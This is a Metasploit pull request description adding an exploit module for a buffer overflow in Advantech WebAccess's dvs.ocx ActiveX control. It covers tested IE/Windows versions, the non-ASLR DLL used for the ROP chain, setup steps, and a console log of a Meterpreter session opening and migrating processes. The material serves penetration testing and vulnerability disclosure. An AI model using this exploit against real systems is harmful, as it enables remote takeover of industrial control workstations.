rapid7/metasploit-framework — pull request #3814 by jvazquez-r7 (2014-09-16 21:52:40+00:00)
Title: Add module for ZDI-14-255  Advantech WebAccess dvs.ocx GetColor Buffer Overflow

Tested on IE 6 / Windows XP SP3, IE8 / Windows 7 SP1, IE9 / Windows 8 SP1. Uses ijl11.dll for the ROP chain, since the DLL isn't ASLR enabled.

Verification
-----------

- [ ] Install Windows with IE <= 9 (updated IE 10, even on Windows 7 SP1, comes with forceASLR. And this modules use ijl11.dll to build the ROP chain)
- [ ] Download a version of Advantech WebAccess vulnerable. I've used http://advantech.vo.llnwd.net/o35/www/webaccess/webaccess7.1/AdvanrechWebAccessUSANode_2013.05.30_1.1.5.exe for developing.
- [ ] Install WebAccess
- [ ] Install the vulnerable actvx. The vulnerable control can be found inside C:\WebAccess\Node\atoplc.cab (Install the cab or just decompress the cab and just use regsvr32 to register the dvs.ocx).
- [ ] Once you've the vulnerable activex control installed, use the msf module to get sessions

```
[*] 10.6.0.82 advantech_webaccess_dvs_getcolor - Gathering target information.
[*] 10.6.0.82 advantech_webaccess_dvs_getcolor - Sending response HTML.
[*] 10.6.0.82 advantech_webaccess_dvs_getcolor - Requested: /1DRGKDfDB/lYdpKB/
[*] 10.6.0.82 advantech_webaccess_dvs_getcolor - Sending Advantech WebAccess dvs.ocx GetColor Buffer Overflow
[*] Sending stage (769536 bytes) to 10.6.0.82
[*] Meterpreter session 2 opened (10.6.0.82:4444 -> 10.6.0.82:58920) at 2014-09-16 16:34:43 -0500
[*] Session ID 2 (10.6.0.82:4444 -> 10.6.0.82:58920) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: IEXPLORE.EXE (3240)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 3588
[+] Successfully migrated to process
```